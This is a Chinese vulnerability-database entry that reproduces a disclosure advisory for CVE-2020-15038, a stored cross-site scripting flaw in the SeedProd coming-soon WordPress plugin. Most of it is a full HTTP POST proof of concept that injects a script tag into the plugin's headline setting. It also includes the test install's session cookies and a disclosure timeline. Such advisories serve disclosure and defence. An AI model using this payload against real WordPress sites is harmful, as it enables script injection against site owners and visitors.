WordPress SeedProd coming-soon 跨站脚本漏洞

漏洞来源

cxsecurity

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|漏洞详情

WordPress是WordPress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。SeedProd coming-soon是使用在其中的一个网站维护页面自定义插件。 WordPress SeedProd coming-soon插件5.1.1之前版本中存在跨站脚本漏洞。该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。

|漏洞EXP

# Exploit Title: WordPress Plugin Maintenance Mode by SeedProd 5.1.1 - Persistent Cross-Site Scripting
# Date: 2020-06-22
# Vendor Homepage: https://www.seedprod.com/
# Vendor Changelog: https://wordpress.org/plugins/coming-soon/#developers
# Exploit Author: Jinson Varghese Behanan (@JinsonCyberSec)
# Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/stored-xss-coming-soon-page-maintenance-mode-plugin/
# Author Homepage: https://www.jinsonvarghese.com
# Version: 5.1.1 and below
# CVE : CVE-2020-15038

1. Description

Coming Soon Page, Under Construction & Maintenance Mode by SeedProd is a popular WordPress Plugin with over 1 million active installations. The Headline field under the Page Settings section along with other fields in the plugin settings were found to be vulnerable to stored XSS, which gets triggered when the Coming Soon page is displayed (both in preview mode and live). All WordPress websites using Coming Soon Page, Under Construction & Maintenance Mode by SeedProd version 5.1.1 and below are affected.

2. Proof of Concept

POST /wp-admin/options.php HTTP/1.1
Host: localhost:10004
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:10004/wp-admin/admin.php?page=seed_csp4
Content-Type: application/x-www-form-urlencoded
Content-Length: 636
Origin: http://localhost:10004
Connection: close
Cookie: wordpress_7f1e0e8dff8818d1c2f579415daff8c7=jinson%7C1593950372%7C4GRNHaGPf0Fgg4gDEpeoNwijwEWzc3D3eVOlrvXniBi%7Cb9d2e047395f59871a0900e390bbd3d695bc5da3afb334da3d0ef5e8bf0c2f1b; wordpress_a024acb662ffd2f30d002a94ed1ea95c=jinson%7C1592914794%7CCgXYWBOtHL4ad8HOoBAQX49z08S9twTuGYVtVWqIbFp%7C01f69b63f0019268e8a42d1cefd95cd451b8ae990337af407b1caf9cb3fa99e5; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_7f1e0e8dff8818d1c2f579415daff8c7=jinson%7C1593950372%7C4GRNHaGPf0Fgg4gDEpeoNwijwEWzc3D3eVOlrvXniBi%7Cf1c8b238e06829673fea45a383730caae8b84cd0ac08b6f11fee65cd94cb8c16; PHPSESSID=44b22ef78b270abbd2351f1d858edb02; wordpress_logged_in_a024acb662ffd2f30d002a94ed1ea95c=jinson%7C1592914794%7CCgXYWBOtHL4ad8HOoBAQX49z08S9twTuGYVtVWqIbFp%7C317cd515fad907c4ae323798cca357f601c29999b20edbe8f9fdad02f35c53f7; wp-settings-time-1=1592745227; cookielawinfo-checkbox-non-necessary=yes; wp-settings-1=imgsize%3Dfull; cookielawinfo-checkbox-necessary=yes
Upgrade-Insecure-Requests: 1

option_page=seed_csp4_settings_content&action=update&_wpnonce=faced0b8ff&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dseed_csp4&seed_csp4_settings_content%5Bstatus%5D=1&seed_csp4_settings_content%5Blogo%5D=&seed_csp4_settings_content%5Bheadline%5D=%3Cscript%3Ealert%28%22Stored+XSS+in+Page+Headline%22%29%3C%2Fscript%3E&seed_csp4_settings_content%5Bdescription%5D=Proof+of+Concept&seed_csp4_settings_content%5Bfooter_credit%5D=0&submit=Save+All+Changes&seed_csp4_settings_content%5Bfavicon%5D=&seed_csp4_settings_content%5Bseo_title%5D=&seed_csp4_settings_content%5Bseo_description%5D=&seed_csp4_settings_content%5Bga_analytics%5D=

3. Timeline

Vulnerability reported to the SeedProd team – June 22, 2020
Version 5.1.2 containing the fix to the vulnerability released – June 24, 2020

漏洞ID	12479	漏洞类型	跨站脚本
发布时间	2020-07-30	更新时间	2020-07-30
CVE编号	CVE-2020-15038	CNNVD-ID	CNNVD-202006-1708
漏洞平台	N/A	CVSS评分	N/A